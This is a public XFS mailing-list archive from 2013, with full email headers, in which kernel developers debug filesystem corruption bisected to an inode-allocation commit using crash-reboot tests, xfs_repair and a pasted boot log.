d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=VpwdHfJhUm2scxmFDR/GF0po+t VfFy2APElWm1Z9EYI=; b=BkPWUyMKTndELPWmVS5ZwLL/L0wUfKJ7Ayht4y4bGg zkkO8tAHmPY6tslAp1TQgyfvdU+Y2pQ6x7JSkzIvrZfWTH/F0QKy81yqDVOALC2n UnbAPfyMclGB/AviuDjzkDgA1g1RCzmBHWAbrCVa62JEfOM+d0eKqEJTuq0CaVF/ Q= Received: (qmail 6445 invoked from network); 19 Jul 2013 21:53:12 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 19 Jul 2013 21:53:12 +0200 Date: Fri, 19 Jul 2013 21:53:12 +0200 From: Markus Trippelsdorf To: Eric Sandeen Cc: Stefan Ring , Ben Myers , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130719195312.GA360@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130719125149.GB360@x4> <51E9630A.3070201@sandeen.net> <20130719163220.GA363@x4> <51E99216.9060609@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E99216.9060609@sandeen.net> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374263593 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137245 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.19 at 14:23 -0500, Eric Sandeen wrote: > On 7/19/13 11:32 AM, Markus Trippelsdorf wrote: > > On 2013.07.19 at 11:02 -0500, Eric Sandeen wrote: > >> On 7/19/13 7:51 AM, Markus Trippelsdorf wrote: > >>> On 2013.07.19 at 14:41 +0200, Stefan Ring wrote: > >>>>> I've bisected this issue to the following commit: > >>>>> > >>>>> commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > >>>>> Author: Dave Chinner > >>>>> Date: Thu Jun 27 16:04:49 2013 +1000 > >>>>> > >>>>> xfs: don't do IO when creating an new inode > >>>>> > >>>>> Reverting this commit on top of the Linus tree "solves" all problems for > >>>>> me. IOW I no longer loose my KDE and LibreOffice config files during a > >>>>> crash. Log recovery now works fine and xfs_repair shows no issues. > >>>>> > >>>>> So users of 3.11.0-rc1 beware. Only run this version if you have > >>>>> up-to-date backups handy. > >> > >> Are you certain about that bisection point? All that does is > >> say: When we allocate a new inode, assign it a random generation > >> number, rather than reading it from disk & incrementing the > >> older generation number, AFAICS. So it simply avoids a read IO. > > > > Yes, I'm sure. > > As I wrote above I also double-checked by reverting the commit on top of > > the current Linus tree. > > > >> I wonder if simply changing IO patterns on the SSD changes how > >> it's doing caching & destaging . > > > > No. The corruption also happens on my conventional (spinning) drives. > > > >>>> What I miss in this thread is a distinction between filesystem > >>>> corruption on the one hand and a few zeroed files on the other. The > >>>> latter may be a nuisance, but it is expected behavior, while the > >>>> former should never happen, period, if I'm not mistaken. > >>> > >>> Well, it is natural that fs developers at first try to blame userspace. > >> > >> I disagree with that, we just need to be clear about your scenarios, > >> and what integrity guarantees should apply. > >> > >>> Unfortunately it turned out that in this case there is filesystem > >>> corruption. (Fortunately this normally happens only very rarely on rc1 > >>> kernels). > >> > >> Corruption is when you get back data that you did not write, > >> or metadata which is inconsistent or unreadable even after a proper > >> log replay. > >> > >> Corruption is _not_ unsynced, buffered data that was lost on a > >> crash or poweroff. > >> > >> But I might not have followed the thread properly, and I might > >> misunderstand your situation. > >> > >> When you experience this lost file [data] scenario, was it after an > >> orderly reboot, or after a crash and/or system reset? > > > > To reproduce this issue simply boot into your desktop and then hit > > sysrq-c and reboot. > > Ok, a crash, so at a minimum, some buffered data loss is 100% expected. Sure. > > After log replay without error messages, the > > filesystem is in an inconsistent state > > What exactly do you mean by inconsistent state? Sorry to be pedantic here. By inconsistent state I mean a filesystem state that forces you to run xfs_repair to get back to normal. > > and many small config files are > > lost. > > Written how long ago? Were they fsynced? > I suppose you are unsure about that, if they're app-written. I hit sysrq-c ~10 seconds after the KDE session is fully functional. As I've wrote above I added an fsync to the KDE config file handler. So the files should be fsynced. > > There are also undeletable files. > > What happens when you try to delete them? They show up as "?????? ??????" in "ls -l" and I get an error when I try to delete them. (I don't recall the exact error message) See for example the /tmp/.X0-lock file that I mentioned earlier in this thread. > > You need to run xfs_repair > > manually to bring the filesystem back to normal. > > And what is the repair output? See the outputs I've posted in this thread before. It's always a variation thereof. > Can you show an exact sequence of events, capturing all relevant output from repair and/or dmesg, etc, just so we see exactly what you see? I already did that. -- Markus From markus@trippelsdorf.de Fri Jul 19 14:56:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EEDA17F53 for ; Fri, 19 Jul 2013 14:56:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6AC0DAC004 for ; Fri, 19 Jul 2013 12:56:31 -0700 (PDT) X-ASG-Debug-ID: 1374263789-04cb6c2a47f143d0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id Pc5l9Q18J7aDbnCV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 12:56:29 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=m39CuFvlV2+tQLz/bktbOSxc3O ZbJhJ8pydsfcF9WOI=; b=VjhQ2JruYey55P/8cSqGvFsoKSvqN79+AEg91WdNLb BB+GStSifK0KaIlGmkoA/FGJoh1iNRC1yxNFhj+WU/DzbMIluWq7OVLmqbvUQX+a 8Ta6V3s1SKYnAWdaCrsCrPhlf7R8BAKvwHcs2C6hNAYHi+qF9INvAiKmJoRrqgDX s= Received: (qmail 6740 invoked from network); 19 Jul 2013 21:56:28 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 19 Jul 2013 21:56:28 +0200 Date: Fri, 19 Jul 2013 21:56:28 +0200 From: Markus Trippelsdorf To: Ben Myers Cc: Eric Sandeen , Stefan Ring , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130719195628.GB360@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130719125149.GB360@x4> <51E9630A.3070201@sandeen.net> <20130719163220.GA363@x4> <20130719191331.GG3572@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130719191331.GG3572@sgi.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374263789 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137245 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.19 at 14:13 -0500, Ben Myers wrote: > Hey Markus, > > On Fri, Jul 19, 2013 at 06:32:20PM +0200, Markus Trippelsdorf wrote: > > On 2013.07.19 at 11:02 -0500, Eric Sandeen wrote: > > > > Unfortunately it turned out that in this case there is filesystem > > > > corruption. (Fortunately this normally happens only very rarely on rc1 > > > > kernels). > > > > > > Corruption is when you get back data that you did not write, > > > or metadata which is inconsistent or unreadable even after a proper > > > log replay. > > > > > > Corruption is _not_ unsynced, buffered data that was lost on a > > > crash or poweroff. > > > > > > But I might not have followed the thread properly, and I might > > > misunderstand your situation. > > > > > > When you experience this lost file [data] scenario, was it after an > > > orderly reboot, or after a crash and/or system reset? > > > > To reproduce this issue simply boot into your desktop and then hit > > sysrq-c and reboot. After log replay without error messages, the > > filesystem is in an inconsistent state and many small config files are > > lost. There are also undeletable files. You need to run xfs_repair > > manually to bring the filesystem back to normal. > > > > When cca9f93a52d is reverted, you don't loose your config files and the > > filesystem is OK after log replay. xfs_repair reports no issues at all. > > I'm a bit late to the party, but I wanted to give this a try. > > On the machine I tried, I was not able to reproduce any corruption with a > > echo b > /proc/sysrq-trigger > > xfs_repair -n found no problems at all. I'll try it on a few more. > > Could you post some of your latest xfs_repair output? And, have you been able > to reproduce this on more than one machine? I may have missed that detail > earlier in the thread. I didn't save the xfs_repair output on every run. See the examples that I've posted in this thread before. And the issue always happens on the same machine. -- Markus From bpm@sgi.com Fri Jul 19 15:20:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9FA1C7F53 for ; Fri, 19 Jul 2013 15:20:58 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 74566304062; Fri, 19 Jul 2013 13:20:55 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 4F6974266DC; Fri, 19 Jul 2013 15:20:55 -0500 (CDT) Date: Fri, 19 Jul 2013 15:20:55 -0500 From: Ben Myers To: Eric Sandeen Cc: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfs_metadump: manpage fix regarding frozen fs Message-ID: <20130719202055.GH3572@sgi.com> References: <51E4AD14.7080904@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E4AD14.7080904@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Eric, On Mon, Jul 15, 2013 at 09:16:52PM -0500, Eric Sandeen wrote: > The xfs_metadump manpage states that metadump works > on a frozen filesystem; it does not. In fact, there is > no way to detect a frozen filesystem, so we can't make it > work, either. > > So just remove this from the manpage; unmounted or RO > mounted is what is enforced by xfs_metadump. > > Signed-off-by: Eric Sandeen I gave this a try and it *seemed* to work fine on a frozen filesystem. Can you provide a bit of detail about why xfs_metadump doesn't work on frozen filesystems? What am I missing? Thanks, Ben From bpm@sgi.com Fri Jul 19 15:26:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CDFA7F53 for ; Fri, 19 Jul 2013 15:26:29 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id E1B59AC009; Fri, 19 Jul 2013 13:26:25 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9627F4266DC; Fri, 19 Jul 2013 15:26:25 -0500 (CDT) Date: Fri, 19 Jul 2013 15:26:25 -0500 From: Ben Myers To: Carlos Maiolino Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] mkfs: add missing noalign suboption information Message-ID: <20130719202625.GI3572@sgi.com> References: <1373469280-12617-1-git-send-email-cmaiolino@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373469280-12617-1-git-send-email-cmaiolino@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 10, 2013 at 12:14:40PM -0300, Carlos Maiolino wrote: > Adds to the mkfs man page, information about noalign mkfs option which is > missing until now. > > Changelog: > > V2: > -rephase noalign data-section option > -add noalign realtime device option > > Signed-off-by: Carlos Maiolino Applied. From markus@trippelsdorf.de Fri Jul 19 15:28:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 45F097F53 for ; Fri, 19 Jul 2013 15:28:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3523A304075 for ; Fri, 19 Jul 2013 13:28:42 -0700 (PDT) X-ASG-Debug-ID: 1374265718-04cb6c2a46f167a0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id XdZYz3k6GAyYyiKn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 19 Jul 2013 13:28:39 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=CS+tQ4/GxkG3F0oXoUdidCft1e ut1eq+0ZL+XmAmAEU=; b=O7p42xn8kgc9cfyqOYnJQj2AnqDHdUS9eAuLdGcIWA GOodmM9wgX9vmFJPz5Mxo5BeDKhVd5SLE8kney7kn/JuICIPQ7wGF4XhaRSLVJvt p4C+y7kvFK2XLP1E8WNhgcgDcBcJ6En3CsPk403YBQ83X5T/WHGhw7xfbbbnzBQf g= Received: (qmail 9847 invoked from network); 19 Jul 2013 22:28:37 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 19 Jul 2013 22:28:37 +0200 Date: Fri, 19 Jul 2013 22:28:37 +0200 From: Markus Trippelsdorf To: Ben Myers Cc: Stefan Ring , Eric Sandeen , Mark Tinguely , Stan Hoeppner , Linux fs XFS Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130719202837.GC360@x4> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <20130719125149.GB360@x4> <51E9630A.3070201@sandeen.net> <20130719163220.GA363@x4> <20130719191331.GG3572@sgi.com> <20130719195628.GB360@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130719195628.GB360@x4> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374265718 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137247 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.19 at 21:56 +0200, Markus Trippelsdorf wrote: > On 2013.07.19 at 14:13 -0500, Ben Myers wrote: > > Hey Markus, > > > > On Fri, Jul 19, 2013 at 06:32:20PM +0200, Markus Trippelsdorf wrote: > > > On 2013.07.19 at 11:02 -0500, Eric Sandeen wrote: > > > > > Unfortunately it turned out that in this case there is filesystem > > > > > corruption. (Fortunately this normally happens only very rarely on rc1 > > > > > kernels). > > > > > > > > Corruption is when you get back data that you did not write, > > > > or metadata which is inconsistent or unreadable even after a proper > > > > log replay. > > > > > > > > Corruption is _not_ unsynced, buffered data that was lost on a > > > > crash or poweroff. > > > > > > > > But I might not have followed the thread properly, and I might > > > > misunderstand your situation. > > > > > > > > When you experience this lost file [data] scenario, was it after an > > > > orderly reboot, or after a crash and/or system reset? > > > > > > To reproduce this issue simply boot into your desktop and then hit > > > sysrq-c and reboot. After log replay without error messages, the > > > filesystem is in an inconsistent state and many small config files are > > > lost. There are also undeletable files. You need to run xfs_repair > > > manually to bring the filesystem back to normal. > > > > > > When cca9f93a52d is reverted, you don't loose your config files and the > > > filesystem is OK after log replay. xfs_repair reports no issues at all. > > > > I'm a bit late to the party, but I wanted to give this a try. > > > > On the machine I tried, I was not able to reproduce any corruption with a > > > > echo b > /proc/sysrq-trigger > > > > xfs_repair -n found no problems at all. I'll try it on a few more. > > > > Could you post some of your latest xfs_repair output? And, have you been able > > to reproduce this on more than one machine? I may have missed that detail > > earlier in the thread. > > I didn't save the xfs_repair output on every run. See the examples that > I've posted in this thread before. > And the issue always happens on the same machine. To add some more info I'll attach the full dmseg of my machine. I/O scheduler is deadline on both disks. [ 0.000000] Linux version 3.11.0-rc1-00181-gb8a33fc-dirty (markus@x4) (gcc version 4.8.1 (GCC) ) #87 SMP Fri Jul 19 19:42:54 CEST 2013 [ 0.000000] Command line: root=PARTUUID=F61ADF02-9A53-485C-9BD4-3DD2F964C27C init=/sbin/minit rootflags=logbsize=262144 fbcon=rotate:3 radeon.dpm=1 drm_kms_helper.poll=0 quiet [ 0.000000] KERNEL supported cpus: [ 0.000000] AMD AuthenticAMD [ 0.000000] e820: BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000100-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000e6000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000dfe8ffff] usable [ 0.000000] BIOS-e820: [mem 0x00000000dfe90000-0x00000000dfea7fff] ACPI data [ 0.000000] BIOS-e820: [mem 0x00000000dfea8000-0x00000000dfecffff] ACPI NVS [ 0.000000] BIOS-e820: [mem 0x00000000dfed0000-0x00000000dfefffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fff00000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000021fffffff] usable [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] SMBIOS 2.5 present. [ 0.000000] DMI: System manufacturer System Product Name/M4A78T-E, BIOS 3503 04/13/2011 [ 0.000000] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved [ 0.000000] e820: remove [mem 0x000a0000-0x000fffff] usable [ 0.000000] e820: last_pfn = 0x220000 max_arch_pfn = 0x400000000 [ 0.000000] MTRR default type: uncachable [ 0.000000] MTRR fixed ranges enabled: [ 0.000000] 00000-9FFFF write-back [ 0.000000] A0000-EFFFF uncachable [ 0.000000] F0000-FFFFF write-protect [ 0.000000] MTRR variable ranges enabled: [ 0.000000] 0 base 000000000000 mask FFFF80000000 write-back [ 0.000000] 1 base 000080000000 mask FFFFC0000000 write-back [ 0.000000] 2 base 0000C0000000 mask FFFFE0000000 write-back [ 0.000000] 3 disabled [ 0.000000] 4 disabled [ 0.000000] 5 disabled [ 0.000000] 6 disabled [ 0.000000] 7 disabled [ 0.000000] TOM2: 0000000220000000 aka 8704M [ 0.000000] x86 PAT enabled: cpu 0, old 0x7010600070106, new 0x7010600070106 [ 0.000000] e820: update [mem 0xe0000000-0xffffffff] usable ==> reserved [ 0.000000] e820: last_pfn = 0xdfe90 max_arch_pfn = 0x400000000 [ 0.000000] Base memory trampoline at [ffff880000099000] 99000 size 24576 [ 0.000000] Using GB pages for direct mapping [ 0.000000] init_memory_mapping: [mem 0x00000000-0x000fffff] [ 0.000000] [mem 0x00000000-0x000fffff] page 4k [ 0.000000] BRK [0x01bb6000, 0x01bb6fff] PGTABLE [ 0.000000] BRK [0x01bb7000, 0x01bb7fff] PGTABLE [ 0.000000] BRK [0x01bb8000, 0x01bb8fff] PGTABLE [ 0.000000] init_memory_mapping: [mem 0x21fe00000-0x21fffffff] [ 0.000000] [mem 0x21fe00000-0x21fffffff] page 2M [ 0.000000] BRK [0x01bb9000, 0x01bb9fff] PGTABLE [ 0.000000] init_memory_mapping: [mem 0x21c000000-0x21fdfffff] [ 0.000000] [mem 0x21c000000-0x21fdfffff] page 2M [ 0.000000] init_memory_mapping: [mem 0x200000000-0x21bffffff] [ 0.000000] [mem 0x200000000-0x21bffffff] page 2M [ 0.000000] init_memory_mapping: [mem 0x00100000-0xdfe8ffff] [ 0.000000] [mem 0x00100000-0x001fffff] page 4k [ 0.000000] [mem 0x00200000-0x3fffffff] page 2M [ 0.000000] [mem 0x40000000-0xbfffffff] page 1G [ 0.000000] [mem 0xc0000000-0xdfdfffff] page 2M [ 0.000000] [mem 0xdfe00000-0xdfe8ffff] page 4k [ 0.000000] init_memory_mapping: [mem 0x100000000-0x1ffffffff] [ 0.000000] [mem 0x100000000-0x1ffffffff] page 1G [ 0.000000] ACPI: RSDP 00000000000fb880 00024 (v02 ACPIAM) [ 0.000000] ACPI: XSDT 00000000dfe90100 0005C (v01 041311 XSDT1656 20110413 MSFT 00000097) [ 0.000000] ACPI: FACP 00000000dfe90290 000F4 (v03 041311 FACP1656 20110413 MSFT 00000097) [ 0.000000] ACPI BIOS Warning (bug): Optional FADT field Pm2ControlBlock has zero address or length: 0x0000000000000000/0x1 (20130517/tbfadt-603) [ 0.000000] ACPI: DSDT 00000000dfe90450 0E6FE (v01 A1152 A1152000 00000000 INTL 20060113) [ 0.000000] ACPI: FACS 00000000dfea8000 00040 [ 0.000000] ACPI: APIC 00000000dfe90390 0007C (v01 041311 APIC1656 20110413 MSFT 00000097) [ 0.000000] ACPI: MCFG 00000000dfe90410 0003C (v01 041311 OEMMCFG 20110413 MSFT 00000097) [ 0.000000] ACPI: OEMB 00000000dfea8040 00072 (v01 041311 OEMB1656 20110413 MSFT 00000097) [ 0.000000] ACPI: SRAT 00000000dfe9f450 000E8 (v01 AMD FAM_F_10 00000002 AMD 00000001) [ 0.000000] ACPI: HPET 00000000dfe9f540 00038 (v01 041311 OEMHPET 20110413 MSFT 00000097) [ 0.000000] ACPI: SSDT 00000000dfe9f580 0088C (v01 A M I POWERNOW 00000001 AMD 00000001) [ 0.000000] ACPI: Local APIC address 0xfee00000 [ 0.000000] [ffffea0000000000-ffffea00087fffff] PMD -> [ffff880217600000-ffff88021f5fffff] on node 0 [ 0.000000] Zone ranges: [ 0.000000] DMA [mem 0x00001000-0x00ffffff] [ 0.000000] DMA32 [mem 0x01000000-0xffffffff] [ 0.000000] Normal [mem 0x100000000-0x21fffffff] [ 0.000000] Movable zone start for each node [ 0.000000] Early memory node ranges [ 0.000000] node 0: [mem 0x00001000-0x0009efff] [ 0.000000] node 0: [mem 0x00100000-0xdfe8ffff] [ 0.000000] node 0: [mem 0x100000000-0x21fffffff] [ 0.000000] On node 0 totalpages: 2096686 [ 0.000000] DMA zone: 64 pages used for memmap [ 0.000000] DMA zone: 21 pages reserved [ 0.000000] DMA zone: 3998 pages, LIFO batch:0 [ 0.000000] DMA32 zone: 14267 pages used for memmap [ 0.000000] DMA32 zone: 913040 pages, LIFO batch:31 [ 0.000000] Normal zone: 18432 pages used for memmap [ 0.000000] Normal zone: 1179648 pages, LIFO batch:31 [ 0.000000] ACPI: PM-Timer IO Port: 0x808 [ 0.000000] ACPI: Local APIC address 0xfee00000 [ 0.000000] ACPI: LAPIC (acpi_id[0x01] lapic_id[0x00] enabled) [ 0.000000] ACPI: LAPIC (acpi_id[0x02] lapic_id[0x01] enabled) [ 0.000000] ACPI: LAPIC (acpi_id[0x03] lapic_id[0x02] enabled) [ 0.000000] ACPI: LAPIC (acpi_id[0x04] lapic_id[0x03] enabled) [ 0.000000] ACPI: LAPIC (acpi_id[0x05] lapic_id[0x84] disabled) [ 0.000000] ACPI: LAPIC (acpi_id[0x06] lapic_id[0x85] disabled) [ 0.000000] ACPI: IOAPIC (id[0x04] address[0xfec00000] gsi_base[0]) [ 0.000000] IOAPIC[0]: apic_id 4, version 33, address 0xfec00000, GSI 0-23 [ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 low level) [ 0.000000] ACPI: IRQ0 used by override. [ 0.000000] ACPI: IRQ2 used by override. [ 0.000000] ACPI: IRQ9 used by override. [ 0.000000] Using ACPI (MADT) for SMP configuration information [ 0.000000] ACPI: HPET id: 0x8300 base: 0xfed00000 [ 0.000000] smpboot: Allowing 4 CPUs, 0 hotplug CPUs [ 0.000000] nr_irqs_gsi: 40 [ 0.000000] e820: [mem 0xdff00000-0xffefffff] available for PCI devices [ 0.000000] setup_percpu: NR_CPUS:4 nr_cpumask_bits:4 nr_cpu_ids:4 nr_node_ids:1 [ 0.000000] PERCPU: Embedded 24 pages/cpu @ffff88021fc00000 s75328 r0 d22976 u524288 [ 0.000000] pcpu-alloc: s75328 r0 d22976 u524288 alloc=1*2097152 [ 0.000000] pcpu-alloc: [0] 0 1 2 3 [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 2063902 [ 0.000000] Kernel command line: root=PARTUUID=F61ADF02-9A53-485C-9BD4-3DD2F964C27C init=/sbin/minit rootflags=logbsize=262144 fbcon=rotate:3 radeon.dpm=1 drm_kms_helper.poll=0 quiet [ 0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes) [ 0.000000] Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes) [ 0.000000] Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes) [ 0.000000] Memory: 8164696K/8386744K available (5654K kernel code, 434K rwdata, 2068K rodata, 688K init, 600K bss, 222048K reserved) [ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 0.000000] Hierarchical RCU implementation. [ 0.000000] NR_IRQS:4352 nr_irqs:712 16 [ 0.000000] Console: colour VGA+ 80x25 [ 0.000000] console [tty0] enabled [ 0.000000] hpet clockevent registered [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.003333] tsc: Detected 3210.683 MHz processor [ 0.000002] Calibrating delay loop (skipped), value calculated using timer frequency.. 6423.92 BogoMIPS (lpj=10702276) [ 0.000003] pid_max: default: 32768 minimum: 301 [ 0.000026] Mount-cache hash table entries: 256 [ 0.000148] tseg: 0000000000 [ 0.000152] CPU: Physical Processor ID: 0 [ 0.000153] CPU: Processor Core ID: 3 [ 0.000154] mce: CPU supports 6 MCE banks [ 0.000157] LVT offset 0 assigned for vector 0xf9 [ 0.000160] process: using AMD E400 aware idle routine [ 0.000161] Last level iTLB entries: 4KB 512, 2MB 16, 4MB 8 Last level dTLB entries: 4KB 512, 2MB 128, 4MB 64 tlb_flushall_shift: 4 [ 0.000217] Freeing SMP alternatives memory: 20K (ffffffff81b1a000 - ffffffff81b1f000) [ 0.000218] ACPI: Core revision 20130517 [ 0.002779] ACPI: All ACPI Tables successfully acquired [ 0.003164] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 0.036174] smpboot: CPU0: AMD Phenom(tm) II X4 955 Processor (fam: 10, model: 04, stepping: 02) [ 0.142539] Performance Events: 